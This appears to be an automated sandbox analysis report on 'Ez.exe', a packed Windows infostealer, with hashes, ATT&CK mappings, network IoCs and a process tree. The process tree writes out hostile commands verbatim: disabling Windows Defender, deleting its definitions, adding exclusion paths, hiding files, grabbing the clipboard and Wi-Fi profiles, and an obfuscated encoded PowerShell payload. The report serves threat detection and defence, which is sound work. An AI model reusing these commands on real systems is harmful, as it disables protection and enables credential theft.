3046f37940ea9df7c118e89edd80b1903a49bced1986195d0fb9356f368479c6

Resubmissions

09-01-2025 16:52

250109-vdrc7axjhp 10

09-01-2025 16:52

09-01-2025 16:51

09-01-2025 16:51

09-01-2025 16:50

09-01-2025 16:43

Analysis

max time kernel
440s
max time network
441s
platform
windows10-ltsc 2021_x64
resource
win10ltsc2021-20241211-en
resource tags

arch:x64arch:x86image:win10ltsc2021-20241211-enlocale:en-usos:windows10-ltsc 2021-x64system
submitted
09-01-2025 16:52

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

Ez.exe
Size

5.8MB
MD5

988710d51a3c1b137dadffb2aa1d4bbd
SHA1

dd5399d7a78b8c6c73496cfc8aee9c55ac557ec9
SHA256

3046f37940ea9df7c118e89edd80b1903a49bced1986195d0fb9356f368479c6
SHA512

9f13eb8e3d9a0f8a7941232e5183141cd4b0973ae965d53f2ea2faeae203be638c222d6bab44a66f17f2e7267de2166af47cda99c0f10bdac101ca38684439f0
SSDEEP

98304:VtIu4+Dc0dR/JamaHl3Ne4i3gDUZnhhM7M+yvFaW9cIzaF6ARwDtyDe2HEMCx43Z:4p+DXR/EeNoInY7/sHfbRy9fC5mDQTI

Score

10^/10

collection credential_access defense_evasion discovery evasion execution persistence privilege_escalation spyware stealer upx

Malware Config

Signatures

Deletes Windows Defender Definitions 2 TTPs 1 IoCs

Uses mpcmdrun utility to delete all AV definitions.

evasion

Impair Defenses

T1562

Command and Scripting Interpreter

T1059

pid	Process
2188	MpCmdRun.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 5 IoCs

Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

execution

PowerShell

T1059.001

pid	Process
4568	powershell.exe
4540	powershell.exe
4464	powershell.exe
1124	powershell.exe
2084	powershell.exe

Drops file in Drivers directory 3 IoCs

description	ioc	Process
File opened for modification	C:\Windows\System32\drivers\etc\hosts	Ez.exe
File opened for modification	C:\Windows\System32\drivers\etc\hosts	attrib.exe
File opened for modification	C:\Windows\System32\drivers\etc\hosts	attrib.exe

Clipboard Data 1 TTPs 2 IoCs

Adversaries may collect data stored in the clipboard from users copying information within or between applications.

collection

Clipboard Data

T1115

pid	Process
3752	cmd.exe
1544	powershell.exe

Executes dropped EXE 1 IoCs

pid	Process
2040	rar.exe

Loads dropped DLL 17 IoCs

pid	Process
32	Ez.exe
32	Ez.exe
32	Ez.exe
32	Ez.exe
32	Ez.exe
32	Ez.exe
32	Ez.exe
32	Ez.exe
32	Ez.exe
32	Ez.exe
32	Ez.exe
32	Ez.exe
32	Ez.exe
32	Ez.exe
32	Ez.exe
32	Ez.exe
32	Ez.exe

Reads user/profile data of web browsers 3 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

Credentials from Web Browsers
T1555.003
Unsecured Credentials: Credentials In Files 1 TTPs
Steal credentials from unsecured files.
credential_access stealer

Credentials In Files
T1552.001
Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
spyware

Data from Local System
T1005

Credentials In Files
T1552.001

Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs

Web Service

T1102

flow	ioc
25	discord.com
26	discord.com

Looks up external IP address via web service 2 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
13	ip-api.com
23	ip-api.com

Obfuscated Files or Information: Command Obfuscation 1 TTPs
Adversaries may obfuscate content during command execution to impede detection.
defense_evasion

Command Obfuscation
T1027.010

Enumerates processes with tasklist 1 TTPs 5 IoCs

discovery

Process Discovery

T1057

pid	Process
3992	tasklist.exe
2096	tasklist.exe
4972	tasklist.exe
1612	tasklist.exe
1436	tasklist.exe

Hide Artifacts: Hidden Files and Directories 1 TTPs 1 IoCs

defense_evasion

Hidden Files and Directories

T1564.001

pid	Process
2092	cmd.exe

UPX packed file 61 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral1/files/0x002600000004623c-21.dat	upx
behavioral1/memory/32-25-0x00007FF901F60000-0x00007FF9023CE000-memory.dmp	upx
behavioral1/files/0x00280000000461fd-27.dat	upx
behavioral1/memory/32-30-0x00007FF911860000-0x00007FF911884000-memory.dmp	upx
behavioral1/files/0x0034000000046232-29.dat	upx
behavioral1/files/0x002c000000046231-33.dat	upx
behavioral1/files/0x002800000004621a-47.dat	upx
behavioral1/memory/32-48-0x00007FF917480000-0x00007FF91748F000-memory.dmp	upx
behavioral1/files/0x0028000000046219-46.dat	upx
behavioral1/files/0x0028000000046218-45.dat	upx
behavioral1/files/0x0028000000046217-44.dat	upx
behavioral1/files/0x0028000000046211-43.dat	upx
behavioral1/files/0x00280000000461ff-42.dat	upx
behavioral1/files/0x00280000000461fe-41.dat	upx
behavioral1/files/0x00280000000461f8-40.dat	upx
behavioral1/files/0x002900000004624c-39.dat	upx
behavioral1/files/0x002600000004624b-38.dat	upx
behavioral1/files/0x002600000004624a-37.dat	upx
behavioral1/files/0x0026000000046238-34.dat	upx
behavioral1/memory/32-54-0x00007FF9106B0000-0x00007FF9106DD000-memory.dmp	upx
behavioral1/memory/32-56-0x00007FF914E20000-0x00007FF914E39000-memory.dmp	upx
behavioral1/memory/32-58-0x00007FF910DD0000-0x00007FF910DEF000-memory.dmp	upx
behavioral1/memory/32-60-0x00007FF901DF0000-0x00007FF901F59000-memory.dmp	upx
behavioral1/memory/32-63-0x00007FF910DB0000-0x00007FF910DC9000-memory.dmp	upx
behavioral1/memory/32-64-0x00007FF917470000-0x00007FF91747D000-memory.dmp	upx
behavioral1/memory/32-66-0x00007FF910D80000-0x00007FF910DAE000-memory.dmp	upx
behavioral1/memory/32-71-0x00007FF910CC0000-0x00007FF910D78000-memory.dmp	upx
behavioral1/memory/32-74-0x00007FF911860000-0x00007FF911884000-memory.dmp	upx
behavioral1/memory/32-76-0x00007FF910B40000-0x00007FF910B54000-memory.dmp	upx
behavioral1/memory/32-72-0x00007FF901A70000-0x00007FF901DE5000-memory.dmp	upx
behavioral1/memory/32-70-0x00007FF901F60000-0x00007FF9023CE000-memory.dmp	upx
behavioral1/memory/32-78-0x00007FF9106B0000-0x00007FF9106DD000-memory.dmp	upx
behavioral1/memory/32-79-0x00007FF915260000-0x00007FF91526D000-memory.dmp	upx
behavioral1/memory/32-81-0x00007FF914E20000-0x00007FF914E39000-memory.dmp	upx
behavioral1/memory/32-82-0x00007FF9017E0000-0x00007FF9018F8000-memory.dmp	upx
behavioral1/memory/32-105-0x00007FF910DD0000-0x00007FF910DEF000-memory.dmp	upx
behavioral1/memory/32-173-0x00007FF901DF0000-0x00007FF901F59000-memory.dmp	upx
behavioral1/memory/32-221-0x00007FF910DB0000-0x00007FF910DC9000-memory.dmp	upx
behavioral1/memory/32-276-0x00007FF910D80000-0x00007FF910DAE000-memory.dmp	upx
behavioral1/memory/32-291-0x00007FF910CC0000-0x00007FF910D78000-memory.dmp	upx
behavioral1/memory/32-292-0x00007FF901A70000-0x00007FF901DE5000-memory.dmp	upx
behavioral1/memory/32-305-0x00007FF910B40000-0x00007FF910B54000-memory.dmp	upx
behavioral1/memory/32-318-0x00007FF901F60000-0x00007FF9023CE000-memory.dmp	upx
behavioral1/memory/32-324-0x00007FF901DF0000-0x00007FF901F59000-memory.dmp	upx
behavioral1/memory/32-323-0x00007FF910DD0000-0x00007FF910DEF000-memory.dmp	upx
behavioral1/memory/32-319-0x00007FF911860000-0x00007FF911884000-memory.dmp	upx
behavioral1/memory/32-348-0x00007FF9017E0000-0x00007FF9018F8000-memory.dmp	upx
behavioral1/memory/32-358-0x00007FF910CC0000-0x00007FF910D78000-memory.dmp	upx
behavioral1/memory/32-359-0x00007FF901A70000-0x00007FF901DE5000-memory.dmp	upx
behavioral1/memory/32-357-0x00007FF910D80000-0x00007FF910DAE000-memory.dmp	upx
behavioral1/memory/32-356-0x00007FF917470000-0x00007FF91747D000-memory.dmp	upx
behavioral1/memory/32-355-0x00007FF910DB0000-0x00007FF910DC9000-memory.dmp	upx
behavioral1/memory/32-354-0x00007FF901DF0000-0x00007FF901F59000-memory.dmp	upx
behavioral1/memory/32-353-0x00007FF910DD0000-0x00007FF910DEF000-memory.dmp	upx
behavioral1/memory/32-352-0x00007FF914E20000-0x00007FF914E39000-memory.dmp	upx
behavioral1/memory/32-351-0x00007FF9106B0000-0x00007FF9106DD000-memory.dmp	upx
behavioral1/memory/32-350-0x00007FF917480000-0x00007FF91748F000-memory.dmp	upx
behavioral1/memory/32-349-0x00007FF911860000-0x00007FF911884000-memory.dmp	upx
behavioral1/memory/32-347-0x00007FF915260000-0x00007FF91526D000-memory.dmp	upx
behavioral1/memory/32-346-0x00007FF910B40000-0x00007FF910B54000-memory.dmp	upx
behavioral1/memory/32-334-0x00007FF901F60000-0x00007FF9023CE000-memory.dmp	upx

Browser Information Discovery 1 TTPs
Enumerate browser information.
discovery

Browser Information Discovery
T1217
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Event Triggered Execution: Netsh Helper DLL 1 TTPs 3 IoCs

Netsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system.

persistence privilege_escalation

Netsh Helper DLL

T1546.007

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe

System Network Configuration Discovery: Internet Connection Discovery 1 TTPs 2 IoCs

Adversaries may check for Internet connectivity on compromised systems.

discovery

Internet Connection Discovery

T1016.001

pid	Process
1516	cmd.exe
2164	PING.EXE

System Network Configuration Discovery: Wi-Fi Discovery 1 TTPs 2 IoCs

Adversaries may search for information about Wi-Fi networks, such as network names and passwords, on compromised systems.

discovery

Wi-Fi Discovery

T1016.002

pid	Process
664	cmd.exe
1132	netsh.exe

Detects videocard installed 1 TTPs 3 IoCs

Uses WMIC.exe to determine videocard installed.

System Information Discovery

T1082

pid	Process
1416	WMIC.exe
4836	WMIC.exe
2792	WMIC.exe

Gathers system information 1 TTPs 1 IoCs

Runs systeminfo.exe.

System Information Discovery

T1082

pid	Process
936	systeminfo.exe

Runs ping.exe 1 TTPs 1 IoCs

Remote System Discovery

T1018

pid	Process
2164	PING.EXE

Suspicious behavior: EnumeratesProcesses 52 IoCs

pid	Process
4876	WMIC.exe
4876	WMIC.exe
4876	WMIC.exe
4876	WMIC.exe
4568	powershell.exe
4464	powershell.exe
4568	powershell.exe
4464	powershell.exe
2792	WMIC.exe
2792	WMIC.exe
2792	WMIC.exe
2792	WMIC.exe
1416	WMIC.exe
1416	WMIC.exe
1416	WMIC.exe
1416	WMIC.exe
4540	powershell.exe
4540	powershell.exe
4528	WMIC.exe
4528	WMIC.exe
4528	WMIC.exe
4528	WMIC.exe
1544	powershell.exe
1544	powershell.exe
2028	powershell.exe
2028	powershell.exe
2028	powershell.exe
1544	powershell.exe
1124	powershell.exe
1124	powershell.exe
1808	powershell.exe
1808	powershell.exe
4528	WMIC.exe
4528	WMIC.exe
4528	WMIC.exe
4528	WMIC.exe
1512	WMIC.exe
1512	WMIC.exe
1512	WMIC.exe
1512	WMIC.exe
560	WMIC.exe
560	WMIC.exe
560	WMIC.exe
560	WMIC.exe
2084	powershell.exe
2084	powershell.exe
4836	WMIC.exe
4836	WMIC.exe
4836	WMIC.exe
4836	WMIC.exe
388	powershell.exe
388	powershell.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	3992	tasklist.exe
Token: SeIncreaseQuotaPrivilege	4876	WMIC.exe
Token: SeSecurityPrivilege	4876	WMIC.exe
Token: SeTakeOwnershipPrivilege	4876	WMIC.exe
Token: SeLoadDriverPrivilege	4876	WMIC.exe
Token: SeSystemProfilePrivilege	4876	WMIC.exe
Token: SeSystemtimePrivilege	4876	WMIC.exe
Token: SeProfSingleProcessPrivilege	4876	WMIC.exe
Token: SeIncBasePriorityPrivilege	4876	WMIC.exe
Token: SeCreatePagefilePrivilege	4876	WMIC.exe
Token: SeBackupPrivilege	4876	WMIC.exe
Token: SeRestorePrivilege	4876	WMIC.exe
Token: SeShutdownPrivilege	4876	WMIC.exe
Token: SeDebugPrivilege	4876	WMIC.exe
Token: SeSystemEnvironmentPrivilege	4876	WMIC.exe
Token: SeRemoteShutdownPrivilege	4876	WMIC.exe
Token: SeUndockPrivilege	4876	WMIC.exe
Token: SeManageVolumePrivilege	4876	WMIC.exe
Token: 33	4876	WMIC.exe
Token: 34	4876	WMIC.exe
Token: 35	4876	WMIC.exe
Token: 36	4876	WMIC.exe
Token: SeDebugPrivilege	4568	powershell.exe
Token: SeDebugPrivilege	4464	powershell.exe
Token: SeIncreaseQuotaPrivilege	4876	WMIC.exe
Token: SeSecurityPrivilege	4876	WMIC.exe
Token: SeTakeOwnershipPrivilege	4876	WMIC.exe
Token: SeLoadDriverPrivilege	4876	WMIC.exe
Token: SeSystemProfilePrivilege	4876	WMIC.exe
Token: SeSystemtimePrivilege	4876	WMIC.exe
Token: SeProfSingleProcessPrivilege	4876	WMIC.exe
Token: SeIncBasePriorityPrivilege	4876	WMIC.exe
Token: SeCreatePagefilePrivilege	4876	WMIC.exe
Token: SeBackupPrivilege	4876	WMIC.exe
Token: SeRestorePrivilege	4876	WMIC.exe
Token: SeShutdownPrivilege	4876	WMIC.exe
Token: SeDebugPrivilege	4876	WMIC.exe
Token: SeSystemEnvironmentPrivilege	4876	WMIC.exe
Token: SeRemoteShutdownPrivilege	4876	WMIC.exe
Token: SeUndockPrivilege	4876	WMIC.exe
Token: SeManageVolumePrivilege	4876	WMIC.exe
Token: 33	4876	WMIC.exe
Token: 34	4876	WMIC.exe
Token: 35	4876	WMIC.exe
Token: 36	4876	WMIC.exe
Token: SeIncreaseQuotaPrivilege	4568	powershell.exe
Token: SeSecurityPrivilege	4568	powershell.exe
Token: SeTakeOwnershipPrivilege	4568	powershell.exe
Token: SeLoadDriverPrivilege	4568	powershell.exe
Token: SeSystemProfilePrivilege	4568	powershell.exe
Token: SeSystemtimePrivilege	4568	powershell.exe
Token: SeProfSingleProcessPrivilege	4568	powershell.exe
Token: SeIncBasePriorityPrivilege	4568	powershell.exe
Token: SeCreatePagefilePrivilege	4568	powershell.exe
Token: SeBackupPrivilege	4568	powershell.exe
Token: SeRestorePrivilege	4568	powershell.exe
Token: SeShutdownPrivilege	4568	powershell.exe
Token: SeDebugPrivilege	4568	powershell.exe
Token: SeSystemEnvironmentPrivilege	4568	powershell.exe
Token: SeRemoteShutdownPrivilege	4568	powershell.exe
Token: SeUndockPrivilege	4568	powershell.exe
Token: SeManageVolumePrivilege	4568	powershell.exe
Token: 33	4568	powershell.exe
Token: 34	4568	powershell.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 2328 wrote to memory of 32	2328	Ez.exe	82
PID 2328 wrote to memory of 32	2328	Ez.exe	82
PID 32 wrote to memory of 3080	32	Ez.exe	84
PID 32 wrote to memory of 3080	32	Ez.exe	84
PID 32 wrote to memory of 1396	32	Ez.exe	85
PID 32 wrote to memory of 1396	32	Ez.exe	85
PID 32 wrote to memory of 1736	32	Ez.exe	86
PID 32 wrote to memory of 1736	32	Ez.exe	86
PID 1736 wrote to memory of 3992	1736	cmd.exe	90
PID 1736 wrote to memory of 3992	1736	cmd.exe	90
PID 32 wrote to memory of 4984	32	Ez.exe	91
PID 32 wrote to memory of 4984	32	Ez.exe	91
PID 3080 wrote to memory of 4568	3080	cmd.exe	93
PID 3080 wrote to memory of 4568	3080	cmd.exe	93
PID 1396 wrote to memory of 4464	1396	cmd.exe	94
PID 1396 wrote to memory of 4464	1396	cmd.exe	94
PID 4984 wrote to memory of 4876	4984	cmd.exe	96
PID 4984 wrote to memory of 4876	4984	cmd.exe	96
PID 32 wrote to memory of 4836	32	Ez.exe	98
PID 32 wrote to memory of 4836	32	Ez.exe	98
PID 4836 wrote to memory of 5072	4836	cmd.exe	134
PID 4836 wrote to memory of 5072	4836	cmd.exe	134
PID 32 wrote to memory of 5108	32	Ez.exe	101
PID 32 wrote to memory of 5108	32	Ez.exe	101
PID 5108 wrote to memory of 3012	5108	cmd.exe	103
PID 5108 wrote to memory of 3012	5108	cmd.exe	103
PID 32 wrote to memory of 1144	32	Ez.exe	166
PID 32 wrote to memory of 1144	32	Ez.exe	166
PID 1144 wrote to memory of 2792	1144	cmd.exe	106
PID 1144 wrote to memory of 2792	1144	cmd.exe	106
PID 32 wrote to memory of 940	32	Ez.exe	107
PID 32 wrote to memory of 940	32	Ez.exe	107
PID 940 wrote to memory of 1416	940	cmd.exe	109
PID 940 wrote to memory of 1416	940	cmd.exe	109
PID 32 wrote to memory of 2092	32	Ez.exe	110
PID 32 wrote to memory of 2092	32	Ez.exe	110
PID 32 wrote to memory of 4360	32	Ez.exe	112
PID 32 wrote to memory of 4360	32	Ez.exe	112
PID 2092 wrote to memory of 2356	2092	cmd.exe	115
PID 2092 wrote to memory of 2356	2092	cmd.exe	115
PID 1396 wrote to memory of 2188	1396	cmd.exe	114
PID 1396 wrote to memory of 2188	1396	cmd.exe	114
PID 4360 wrote to memory of 4540	4360	cmd.exe	116
PID 4360 wrote to memory of 4540	4360	cmd.exe	116
PID 32 wrote to memory of 1552	32	Ez.exe	117
PID 32 wrote to memory of 1552	32	Ez.exe	117
PID 32 wrote to memory of 4324	32	Ez.exe	118
PID 32 wrote to memory of 4324	32	Ez.exe	118
PID 4324 wrote to memory of 4972	4324	cmd.exe	121
PID 4324 wrote to memory of 4972	4324	cmd.exe	121
PID 1552 wrote to memory of 2096	1552	cmd.exe	122
PID 1552 wrote to memory of 2096	1552	cmd.exe	122
PID 32 wrote to memory of 4524	32	Ez.exe	123
PID 32 wrote to memory of 4524	32	Ez.exe	123
PID 32 wrote to memory of 3752	32	Ez.exe	124
PID 32 wrote to memory of 3752	32	Ez.exe	124
PID 32 wrote to memory of 4092	32	Ez.exe	126
PID 32 wrote to memory of 4092	32	Ez.exe	126
PID 32 wrote to memory of 3960	32	Ez.exe	129
PID 32 wrote to memory of 3960	32	Ez.exe	129
PID 32 wrote to memory of 664	32	Ez.exe	130
PID 32 wrote to memory of 664	32	Ez.exe	130
PID 32 wrote to memory of 652	32	Ez.exe	131
PID 32 wrote to memory of 652	32	Ez.exe	131

Views/modifies file attributes 1 TTPs 3 IoCs

evasion

Hidden Files and Directories

T1564.001

pid	Process
2356	attrib.exe
4120	attrib.exe
4904	attrib.exe

C:\Users\Admin\AppData\Local\Temp\Ez.exe
"C:\Users\Admin\AppData\Local\Temp\Ez.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:2328
- C:\Users\Admin\AppData\Local\Temp\Ez.exe
  "C:\Users\Admin\AppData\Local\Temp\Ez.exe"
  2⤵
  - Drops file in Drivers directory
  - Loads dropped DLL
  - Suspicious use of WriteProcessMemory
  PID:32
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\Ez.exe'"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:3080
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\Ez.exe'
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:4568
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2 & "%ProgramFiles%\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:1396
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:4464
  - - C:\Program Files\Windows Defender\MpCmdRun.exe
      "C:\Program Files\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All
      4⤵
      Deletes Windows Defender Definitions
      PID:2188
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "tasklist /FO LIST"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:1736
  - - C:\Windows\system32\tasklist.exe
      tasklist /FO LIST
      4⤵
      Enumerates processes with tasklist
      Suspicious use of AdjustPrivilegeToken
      PID:3992
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "wmic csproduct get uuid"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:4984
  - - C:\Windows\System32\Wbem\WMIC.exe
      wmic csproduct get uuid
      4⤵
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:4876
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "REG QUERY HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Class\{4D36E968-E325-11CE-BFC1-08002BE10318}\0000\DriverDesc 2"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:4836
  - - C:\Windows\system32\reg.exe
      REG QUERY HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Class\{4D36E968-E325-11CE-BFC1-08002BE10318}\0000\DriverDesc 2
      4⤵
      PID:5072
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "REG QUERY HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Class\{4D36E968-E325-11CE-BFC1-08002BE10318}\0000\ProviderName 2"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:5108
  - - C:\Windows\system32\reg.exe
      REG QUERY HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Class\{4D36E968-E325-11CE-BFC1-08002BE10318}\0000\ProviderName 2
      4⤵
      PID:3012
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "wmic path win32_VideoController get name"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:1144
  - - C:\Windows\System32\Wbem\WMIC.exe
      wmic path win32_VideoController get name
      4⤵
      Detects videocard installed
      Suspicious behavior: EnumeratesProcesses
      PID:2792
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "wmic path win32_VideoController get name"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:940
  - - C:\Windows\System32\Wbem\WMIC.exe
      wmic path win32_VideoController get name
      4⤵
      Detects videocard installed
      Suspicious behavior: EnumeratesProcesses
      PID:1416
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "attrib +h +s "C:\Users\Admin\AppData\Local\Temp\Ez.exe""
    3⤵
    - Hide Artifacts: Hidden Files and Directories
    - Suspicious use of WriteProcessMemory
    PID:2092
  - - C:\Windows\system32\attrib.exe
      attrib +h +s "C:\Users\Admin\AppData\Local\Temp\Ez.exe"
      4⤵
      Views/modifies file attributes
      PID:2356
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "powershell -Command Add-MpPreference -ExclusionPath 'C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\ .scr'"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:4360
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -Command Add-MpPreference -ExclusionPath 'C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\ .scr'
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      PID:4540
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "tasklist /FO LIST"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:1552
  - - C:\Windows\system32\tasklist.exe
      tasklist /FO LIST
      4⤵
      Enumerates processes with tasklist
      PID:2096
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "tasklist /FO LIST"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:4324
  - - C:\Windows\system32\tasklist.exe
      tasklist /FO LIST
      4⤵
      Enumerates processes with tasklist
      PID:4972
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "WMIC /Node:localhost /Namespace:\\root\SecurityCenter2 Path AntivirusProduct Get displayName"
    3⤵
    PID:4524
  - - C:\Windows\System32\Wbem\WMIC.exe
      WMIC /Node:localhost /Namespace:\\root\SecurityCenter2 Path AntivirusProduct Get displayName
      4⤵
      Suspicious behavior: EnumeratesProcesses
      PID:4528
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "powershell Get-Clipboard"
    3⤵
    - Clipboard Data
    PID:3752
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell Get-Clipboard
      4⤵
      Clipboard Data
      Suspicious behavior: EnumeratesProcesses
      PID:1544
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "tasklist /FO LIST"
    3⤵
    PID:4092
  - - C:\Windows\system32\tasklist.exe
      tasklist /FO LIST
      4⤵
      Enumerates processes with tasklist
      PID:1612
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "tree /A /F"
    3⤵
    PID:3960
  - - C:\Windows\system32\tree.com
      tree /A /F
      4⤵
      PID:1872
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "netsh wlan show profile"
    3⤵
    - System Network Configuration Discovery: Wi-Fi Discovery
    PID:664
  - - C:\Windows\system32\netsh.exe
      netsh wlan show profile
      4⤵
      Event Triggered Execution: Netsh Helper DLL
      System Network Configuration Discovery: Wi-Fi Discovery
      PID:1132
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "systeminfo"
    3⤵
    PID:652
  - - C:\Windows\System32\Conhost.exe
      \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
      4⤵
      PID:5072
  - - C:\Windows\system32\systeminfo.exe
      systeminfo
      4⤵
      Gathers system information
      PID:936
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "REG QUERY HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip\Parameters /V DataBasePath"
    3⤵
    PID:5096
  - - C:\Windows\system32\reg.exe
      REG QUERY HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip\Parameters /V DataBasePath
      4⤵
      PID:3832
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "powershell.exe -NoProfile -ExecutionPolicy Bypass -EncodedCommand JABzAG8AdQByAGMAZQAgAD0AIABAACIADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtADsADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtAC4AQwBvAGwAbABlAGMAdABpAG8AbgBzAC4ARwBlAG4AZQByAGkAYwA7AA0ACgB1AHMAaQBuAGcAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcAOwANAAoAdQBzAGkAbgBnACAAUwB5AHMAdABlAG0ALgBXAGkAbgBkAG8AdwBzAC4ARgBvAHIAbQBzADsADQAKAA0ACgBwAHUAYgBsAGkAYwAgAGMAbABhAHMAcwAgAFMAYwByAGUAZQBuAHMAaABvAHQADQAKAHsADQAKACAAIAAgACAAcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAEwAaQBzAHQAPABCAGkAdABtAGEAcAA+ACAAQwBhAHAAdAB1AHIAZQBTAGMAcgBlAGUAbgBzACgAKQANAAoAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAdgBhAHIAIAByAGUAcwB1AGwAdABzACAAPQAgAG4AZQB3ACAATABpAHMAdAA8AEIAaQB0AG0AYQBwAD4AKAApADsADQAKACAAIAAgACAAIAAgACAAIAB2AGEAcgAgAGEAbABsAFMAYwByAGUAZQBuAHMAIAA9ACAAUwBjAHIAZQBlAG4ALgBBAGwAbABTAGMAcgBlAGUAbgBzADsADQAKAA0ACgAgACAAIAAgACAAIAAgACAAZgBvAHIAZQBhAGMAaAAgACgAUwBjAHIAZQBlAG4AIABzAGMAcgBlAGUAbgAgAGkAbgAgAGEAbABsAFMAYwByAGUAZQBuAHMAKQANAAoAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHQAcgB5AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAFIAZQBjAHQAYQBuAGcAbABlACAAYgBvAHUAbgBkAHMAIAA9ACAAcwBjAHIAZQBlAG4ALgBCAG8AdQBuAGQAcwA7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHUAcwBpAG4AZwAgACgAQgBpAHQAbQBhAHAAIABiAGkAdABtAGEAcAAgAD0AIABuAGUAdwAgAEIAaQB0AG0AYQBwACgAYgBvAHUAbgBkAHMALgBXAGkAZAB0AGgALAAgAGIAbwB1AG4AZABzAC